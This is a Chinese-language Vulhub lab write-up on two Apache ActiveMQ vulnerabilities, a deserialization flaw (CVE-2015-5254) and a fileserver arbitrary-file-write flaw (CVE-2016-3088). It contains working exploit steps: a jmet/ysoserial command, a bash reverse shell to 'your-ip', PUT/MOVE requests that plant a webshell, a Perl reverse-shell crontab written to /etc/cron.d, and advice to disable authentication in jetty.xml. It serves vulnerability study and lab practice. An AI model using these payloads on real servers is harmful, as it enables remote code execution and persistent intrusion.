[Vulhub] ActiveMQ漏洞
作者:互联网
文章目录
ActiveMQ 反序列化漏洞 (CVE-2015-5254)
0x00 漏洞描述
Apache ActiveMQ 是由美国 Pachitea(Apache)软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。
Apache ActiveMQ 5.13.0 之前的 5.x 版本安全漏洞,该程序造成的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化Java Message Service (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。
0x01 影响版本
Apache ActiveMQ 5.x < 5.13.0
0x02 漏洞描述
漏洞利用过程如下:
- 生成序列化的有效负载(可以使用 ysoserial);
- 将有效负载发送到端口 61616;
- 访问web管理页面并读取序列化消息,然后就可以触发漏洞。
为了利用这个环境,使用jmet(Java Message Exploitation Tool)
。首先下载jmet
的jar
文件,在同一目录下创建名为external
的文件夹(否则可能会出现文件夹不存在的错误)
0x03 漏洞复现
jmet
是使用ysoserial
生成Payload并发送(ysoserial自带jar,我们不需要重新下载),所以我们需要选择一个可以在ysoserial
中使用的gadget
,比如 ROME:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
此时,一个名为 event 的队列将被添加到目标 ActiveMQ 中,访问http://your-ip:8161/admin/browse.jsp?JMSDestination=Event
以查看此队列中的所有消息(账户:admin/admin):
单击此消息触发命令执行,进入容器看到/tmp/success
已经创建成功
用反弹shell的命令替换重用:
bash -i >& /dev/tcp/your-ip/4444 0>&1
命令需要进行编码再使用:https://www.jackson-t.ca/runtime-exec-payloads.html
值得注意的是,通过网页管理页面访问消息并触发漏洞需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接来触发,或者伪装成其他服务的合法消息需要等待客户端访问时触发。
ActiveMQ 任意文件写入漏洞 (CVE-2016-3088)
0x00 漏洞描述
ActiveMQ web控制台分为三个应用,admin
、api
和fileserver
,其中 admin 为管理员页面,api 为接口,fileserver 为存放文件的接口;admin 和 api 需要登录才可以使用,fileserver 不需要登录。
fileserver 是一个 RESTful API 接口。我们可以通过GET、PUT、DELETE等HTTP请求来读写其中存储的文件。设计目的是为了弥补消息队列操作无法传输和存储二进制文件的缺陷,但后来发现它的使用率不高、文件操作容易出现漏洞。所以ActiveMQ在5.12.x~5.13.x
中默认关闭了fileserver应用(可以在conf/jetty.xml
中打开);在 5.14.0
之后,文件服务器应用程序被完全删除。
漏洞出现在 Fileserver 应用中,fileserver 支持写文件(但不解析JSP),同时支持移动文件(MOVE请求)。只需要写入一个文件,然后使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。
环境监听61616
端口和8161
端口,其中8161
是web控制台端口。此漏洞出现在 Web 控制台中。
0x01 影响版本
Apache ActiveMQ 5.0.0 - 5.13.2
Apache ActiveMQ 在 5.12.x~5.13.x 中默认关闭了fileserver应用(可以在conf/jetty.xml
中打开)
0x02 漏洞分析
原理就是fileserver支持写文件(但不解析JSP),同时支持移动文件(MOVE请求)。所以,只需要写入一个文件,然后使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。
三种方式:1、编写Webshell;2、写入cron或ssh key等文件;3、编写jar或jetty.xml等库和配置文件。
写 webshell 的好处是方便,但是 fileserver 不解析 jsp,admin 和 api 都需要登录才能访问;
写 cron 或者 ssh key 的好处是直接反向 Shell,但是需要 root 权限;
写 jar 有点麻烦(需要jar后门),写 xml 配置文件,这个方法比较靠谱,但是需要知道ActiveMQ的绝对路径。
0x03 漏洞复现
弱口令 admin/admin 登录,查看ActiveMQ版本为 5.11.1,存在漏洞:
写入Webshelll
webshell 需要写在 admin 或者 api 应用中,两个应用都需要登录才能访问,访问http://your-ip:8161/admin/test/systemProperties.jsp
查看ActiveMQ的绝对路径:
使用 PUT 方法在 fileserver 应用中写入 webshell,返回状态码204说明文件写入成功:
PUT /fileserver/tmp.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976
webshell...
但 fileserver 应用不解析jsp文件,需要使用 MOVE 方法移动到 api 或 admin 文件夹:
MOVE /fileserver/tmp.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
访问 webshell(需要登录):
写crontab反弹shell
这是一种比较稳定的方法,该方法需要以 root 身份运行ActiveMQ,否则将无法写入 cron 文件。先上传cron配置文件(注意换行必须是\n
,不是\r\n
,否则crontab执行会失败):
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="your-ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
移动至文件/etc/cron.d/root
:
如果以上两个请求都返回204,则写入成功。等待反向shell:
写入jetty.xml或jar
理论上我们可以覆盖 jetty.xml 去掉 admin 和 api 的登录限制,然后写 webshell(需要重启服务生效);
在某些情况下,jetty.xml 和 jar 的所有者是 web 容器的用户,因此编写 crontab 的成功率更高;
jetty.xml配置只需要将身份认证的 true 改为 false 即可。
标签:Vulhub,fileserver,文件,admin,写入,漏洞,ActiveMQ 来源: https://blog.csdn.net/weixin_45605352/article/details/122358810